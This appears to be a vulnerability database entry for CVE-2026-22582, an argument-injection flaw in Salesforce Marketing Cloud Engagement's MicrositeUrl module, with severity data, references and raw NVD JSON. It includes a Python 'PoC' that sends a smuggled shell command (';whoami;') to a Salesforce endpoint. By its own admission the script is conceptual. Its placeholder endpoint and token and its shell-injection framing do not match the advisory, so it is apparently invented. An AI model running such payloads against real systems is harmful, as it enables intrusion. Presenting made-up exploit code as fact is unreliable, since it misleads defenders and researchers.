CVE-2026-22582

Description

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:* - VULNERABLE

Salesforce Marketing Cloud Engagement (MicrositeUrl模块) < 2026年1月21日版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2026-22582 PoC - Salesforce Marketing Cloud Argument Injection
# Note: This is a conceptual PoC based on the vulnerability description

import requests
import sys

TARGET = "https://YOUR-SALESFORCE-INSTANCE.salesforce.com"

def check_vulnerability():
    """Check if target is vulnerable to CVE-2026-22582"""
    headers = {
        'Content-Type': 'application/json',
        'Authorization': 'Bearer ANONYMOUS_ACCESS'
    }
    
    # Malicious payload targeting MicrositeUrl module
    # Injecting command via argument delimiter
    payload = {
        'MicrositeUrl': {
            'url': 'legitimate_url;whoami;'
        }
    }
    
    try:
        response = requests.post(
            f"{TARGET}/services/data/vXX.X/microsite",
            json=payload,
            headers=headers,
            timeout=10
        )
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
        
        if response.status_code == 200 and ('root' in response.text or 'admin' in response.text):
            print("[+] VULNERABLE - Command injection successful")
            return True
        else:
            print("[-] Target may not be vulnerable")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2026-22582 - Salesforce Marketing Cloud Engagement Argument Injection")
    print("=" * 70)
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22582
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22582
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22582/
[4] VulDB https://vuldb.com/cve/CVE-2026-22582
[5] https://help.salesforce.com/s/articleView?id=005299346&type=1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22582", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:49.920", "lastModified": "2026-02-12T16:13:12.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Inadecuada de Delimitadores de Argumentos en un Comando ('Inyección de Argumentos') en Salesforce Marketing Cloud Engagement (módulo MicrositeUrl) permite la Manipulación del Protocolo de Servicios Web. Este problema afecta a Marketing Cloud Engagement: antes del 21 de enero de 2026."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "5A41CCDE-A5EA-45D6-A009-A6908459C453"}]}]}], "references": [{"url": "https://help.salesforce.com/s/articleView?id=005299346&type=1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}